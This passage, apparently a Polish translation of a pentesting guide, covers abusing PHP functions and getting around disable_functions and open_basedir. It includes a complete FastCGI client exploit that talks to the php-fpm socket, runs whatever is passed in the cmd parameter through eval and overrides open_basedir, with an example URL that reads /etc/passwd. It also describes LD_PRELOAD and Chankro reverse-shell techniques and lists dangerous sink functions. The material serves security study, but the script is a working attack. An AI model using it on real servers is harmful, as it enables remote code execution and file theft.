mail / mb_send_mail - Ta funkcja jest używana do wysyłania maili, ale może być również nadużywana do wstrzykiwania dowolnych poleceń w parametrze $options. Dzieje się tak, ponieważ php mail function zazwyczaj wywołuje binarny plik sendmail w systemie i pozwala na dodanie dodatkowych opcji. Jednak nie będziesz w stanie zobaczyć wyniku wykonanego polecenia, więc zaleca się stworzenie skryptu powłoki, który zapisuje wynik do pliku, wykonuje go za pomocą maila i drukuje wynik:
dl - Ta funkcja może być używana do dynamicznego ładowania rozszerzenia PHP. Ta funkcja nie zawsze będzie dostępna, więc powinieneś sprawdzić, czy jest dostępna przed próbą jej wykorzystania. Przeczytaj tę stronę, aby dowiedzieć się, jak wykorzystać tę funkcję.
Wykonanie kodu PHP
Oprócz eval istnieją inne sposoby na wykonanie kodu PHP: include/require mogą być używane do zdalnego wykonania kodu w formie Local File Include i Remote File Include.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Wyłączone funkcje to ustawienie, które można skonfigurować w plikach .ini w PHP, które zabrania używania wskazanych funkcji. Open basedir to ustawienie, które wskazuje PHP folder, do którego ma dostęp.
Ustawienie PHP należy skonfigurować w ścieżce /etc/php7/conf.d lub podobnej.
Obie konfiguracje można zobaczyć w wyniku phpinfo():
open_basedir Bypass
open_basedir skonfiguruje foldery, do których PHP ma dostęp, nie będziesz mógł pisać/odczytywać/wykonywać żadnych plików poza tymi folderami, ale także nawet nie będziesz mógł wylistować innych katalogów.
Jednakże, jeśli w jakiś sposób będziesz w stanie wykonać dowolny kod PHP, możesz spróbować następującego fragmentu kodów, aby spróbować obejść ograniczenie.
Listing dirs with glob:// bypass
W tym pierwszym przykładzie używany jest protokół glob:// z pewnym obejściem ścieżki:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Uwaga1: W ścieżce możesz również użyć /e??/*, aby wylistować /etc/* i każdy inny folder.
Uwaga2: Wygląda na to, że część kodu jest zdublowana, ale to jest w rzeczywistości konieczne!
Uwaga3: Ten przykład jest użyteczny tylko do wylistowania folderów, a nie do odczytu plików.
Jeśli chcesz dowiedzieć się więcej o PHP-FPM i FastCGI, możesz przeczytać pierwszą sekcję tej strony.
Jeśli php-fpm jest skonfigurowany, możesz go wykorzystać do całkowitego obejścia open_basedir:
Zauważ, że pierwszą rzeczą, którą musisz zrobić, to znaleźć, gdzie znajduje się unix socket php-fpm. Zwykle znajduje się w /var/run, więc możesz użyć poprzedniego kodu, aby wylistować katalog i go znaleźć.
Kod z tutaj.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Ten skrypt będzie komunikować się z unix socket php-fpm (zwykle znajduje się w /var/run, jeśli używany jest fpm), aby wykonać dowolny kod. Ustawienia open_basedir zostaną nadpisane przez atrybut PHP_VALUE, który jest wysyłany.
Zauważ, jak eval jest używane do wykonania kodu PHP, który wysyłasz w parametrze cmd.
Zauważ również zakomentowaną linię 324, możesz ją odkomentować, a ładunek automatycznie połączy się z podanym URL i wykona kod PHP zawarty tam.
Po prostu uzyskaj dostęp do http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');, aby uzyskać zawartość pliku /etc/passwd.
Możesz myśleć, że w ten sam sposób, w jaki nadpisaliśmy konfigurację open_basedir, możemy nadpisać disable_functions. Cóż, spróbuj, ale to nie zadziała, najwyraźniej disable_functions można konfigurować tylko w pliku konfiguracyjnym .ini php, a zmiany, które wprowadzasz za pomocą PHP_VALUE, nie będą skuteczne w tej konkretnej konfiguracji.
Bypass disable_functions
Jeśli uda ci się uruchomić kod PHP na maszynie, prawdopodobnie chcesz przejść na wyższy poziom i wykonać dowolne polecenia systemowe. W tej sytuacji zwykle odkrywa się, że większość lub wszystkie funkcje PHP, które pozwalają na wykonywanie poleceń systemowych, zostały wyłączone w disable_functions.
Zobaczmy, jak możesz obejść to ograniczenie (jeśli możesz).
Po prostu wróć na początek tej strony i sprawdź, czy któraś z funkcji wykonujących polecenia nie jest wyłączona i dostępna w środowisku. Jeśli znajdziesz chociaż jedną z nich, będziesz mógł jej użyć do wykonania dowolnych poleceń systemowych.
Bypass LD_PRELOAD
Jest powszechnie znane, że niektóre funkcje w PHP, takie jak mail(), będą wykonywać binaria w systemie. Dlatego możesz je nadużyć, używając zmiennej środowiskowej LD_PRELOAD, aby załadować dowolną bibliotekę, która może wykonać cokolwiek.
Funkcje, które można wykorzystać do obejścia disable_functions za pomocą LD_PRELOAD
mail
mb_send_mail: Skuteczne, gdy zainstalowany jest moduł php-mbstring.
imap_mail: Działa, jeśli obecny jest moduł php-imap.
libvirt_connect: Wymaga modułu php-libvirt-php.
gnupg_init: Możliwe do wykorzystania z zainstalowanym modułem php-gnupg.
new imagick(): Ta klasa może być nadużywana do obejścia ograniczeń. Szczegółowe techniki eksploatacji można znaleźć w obszernym opisie tutaj.
Możesz znaleźć tutaj skrypt fuzzingowy, który został użyty do znalezienia tych funkcji.
Oto biblioteka, którą możesz skompilować, aby nadużyć zmiennej środowiskowej LD_PRELOAD:
Aby wykorzystać tę błędną konfigurację, możesz Chankro. To narzędzie, które generuje exploit PHP, który musisz przesłać na podatny serwer i wykonać go (uzyskać do niego dostęp przez sieć).
Chankro zapisze na dysku ofiary bibliotekę i powrotną powłokę, którą chcesz wykonać, i użyje**LD_PRELOAD trick + PHP mail()** funkcji do wykonania powrotnej powłoki.
Zauważ, że aby użyć Chankro, mail i putenvnie mogą pojawić się na liście disable_functions.
W poniższym przykładzie możesz zobaczyć, jak stworzyć exploit chankro dla arch 64, który wykona whoami i zapisze wynik w /tmp/chankro_shell.out, chankro zapisze bibliotekę i ładunek w /tmp, a ostateczny exploit będzie nazywał się bicho.php (to jest plik, który musisz przesłać na serwer ofiary):
Zauważ, że używając PHP możesz czytać i pisać pliki, tworzyć katalogi i zmieniać uprawnienia.
Możesz nawet zrzucać bazy danych.
Może używając PHP do enumeracji systemu znajdziesz sposób na eskalację uprawnień/wykonywanie poleceń (na przykład odczytanie prywatnego klucza ssh).
Te funkcje akceptują parametr typu string, który może być użyty do wywołania funkcji według wyboru atakującego. W zależności od funkcji atakujący może, ale nie musi, mieć możliwość przekazania parametru. W takim przypadku można użyć funkcji ujawniającej informacje, takiej jak phpinfo().
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Ujawnienie informacji
Większość z tych wywołań funkcji nie jest pułapką. Może to być jednak luka, jeśli jakiekolwiek zwrócone dane są widoczne dla atakującego. Jeśli atakujący może zobaczyć phpinfo(), to zdecydowanie jest to luka.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Funkcje systemu plików
Według RATS wszystkie funkcje systemu plików w php są niebezpieczne. Niektóre z nich nie wydają się zbyt przydatne dla atakującego. Inne są bardziej użyteczne, niż mogłoby się wydawać. Na przykład, jeśli allow_url_fopen=On, to adres URL może być użyty jako ścieżka do pliku, więc wywołanie copy($_GET['s'], $_GET['d']); może być użyte do przesłania skryptu PHP wszędzie w systemie. Ponadto, jeśli strona jest podatna na żądanie wysłane za pomocą GET, każda z tych funkcji systemu plików może być wykorzystana do skierowania ataku na inny host przez twój serwer.
Zapis do systemu plików (częściowo w połączeniu z odczytem)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir